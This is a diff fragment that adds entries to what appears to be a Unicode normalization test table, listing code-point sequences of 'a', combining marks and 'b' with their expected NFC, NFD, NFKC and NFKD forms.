+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x0315, 0x0062], NFC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0315, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0316, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0316, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0317, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0317, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0317, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0317, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0318, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0318, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0318, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0318, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0319, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0319, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0319, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0319, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x031A, 0x0062], NFC: [0x00E0, 0x0315, 0x031A, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x031A, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x031A, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x031A, 0x035C, 0x0062] },
+{ source: [0x0061, 0x031A, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x031A, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x031A, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x031A, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x031A, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x031B, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x031B, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x031F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x031F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x031F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x031F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0320, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0320, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0320, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0320, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0321, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0321, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0322, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0322, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0322, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0322, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0323, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0323, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0323, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x1EA1, 0x302A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0323, 0x0316, 0x059A, 0x0062], NFKC: [0x1EA1, 0x302A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0323, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0324, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0324, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0324, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0324, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0325, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0325, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0325, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x1E01, 0x302A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0325, 0x0316, 0x059A, 0x0062], NFKC: [0x1E01, 0x302A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0325, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0326, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0326, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0326, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0326, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0327, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0327, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0327, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0327, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x1DCE, 0x0321, 0x0F74, 0x0328, 0x0062], NFC: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFKC: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0321, 0x0328, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x0328, 0x1DCE, 0x0321, 0x0F74, 0x0062], NFC: [0x0105, 0x0F74, 0x0321, 0x1DCE, 0x0062], NFD: [0x0061, 0x0F74, 0x0328, 0x0321, 0x1DCE, 0x0062], NFKC: [0x0105, 0x0F74, 0x0321, 0x1DCE, 0x0062], NFKD: [0x0061, 0x0F74, 0x0328, 0x0321, 0x1DCE, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0329, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0329, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0329, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0329, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032A, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032A, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x032F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x032F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x032F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x032F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0330, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0330, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0330, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0330, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0331, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0331, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0331, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0331, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0332, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0332, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0332, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0332, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0333, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0333, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0333, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0333, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0334, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0335, 0x0062], NFC: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0335, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0335, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0335, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0336, 0x0062], NFC: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0336, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0336, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0336, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0337, 0x0062], NFC: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0337, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0337, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0337, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x16FF0, 0x0334, 0x0338, 0x0062], NFC: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062], NFD: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0334, 0x0338, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x0338, 0x16FF0, 0x0334, 0x0062], NFC: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062], NFD: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062], NFKC: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062], NFKD: [0x0061, 0x0338, 0x0334, 0x16FF0, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0339, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0339, 0x059A, 0x0062] },
